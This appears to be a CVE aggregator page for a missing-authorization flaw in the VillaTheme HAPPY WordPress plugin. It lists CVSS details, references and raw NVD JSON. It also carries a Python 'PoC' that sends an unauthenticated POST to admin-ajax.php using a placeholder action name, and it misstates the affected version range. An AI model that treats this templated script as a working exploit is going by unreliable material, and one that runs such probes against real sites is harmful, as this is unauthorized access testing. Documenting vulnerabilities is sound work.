CVE-2026-39593

Description

Missing Authorization vulnerability in VillaTheme HAPPY allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects HAPPY: from n/a through 1.0.10.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

VillaTheme HAPPY <= 1.0.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: VillaTheme HAPPY < 1.0.10 - Missing Authorization PoC
# Date: 2026-05-21
# CVE: CVE-2026-39593

def check_vulnerability(target_url):
    """
    This script checks for the Missing Authorization vulnerability.
    It sends a request to the vulnerable endpoint without authentication.
    """
    # The vulnerable endpoint is typically wp-admin/admin-ajax.php for WP plugins
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload attempting to trigger an action without valid nonce or user privileges
    # 'action' parameter usually maps to the vulnerable hook in the plugin
    payload = {
        "action": "happy_vulnerable_action", # Replace with actual action name if known
        "data": "test_payload"
    }

    try:
        # Sending POST request without cookies (Unauthenticated)
        response = requests.post(ajax_url, data=payload, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if action was performed.")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")

if __name__ == "__main__":
    target = "http://127.0.0.1/wordpress" # Replace with target host
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39593
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39593
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39593/
[4] VulDB https://vuldb.com/cve/CVE-2026-39593
[5] https://patchstack.com/database/wordpress/plugin/happy-helpdesk-support-ticket-system/vulnerability/wordpress-happy-plugin-1-0-10-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39593", "sourceIdentifier": "[email protected]", "published": "2026-05-21T18:16:17.203", "lastModified": "2026-05-21T19:10:36.607", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in VillaTheme HAPPY allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects HAPPY: from n/a through 1.0.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/happy-helpdesk-support-ticket-system/vulnerability/wordpress-happy-plugin-1-0-10-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}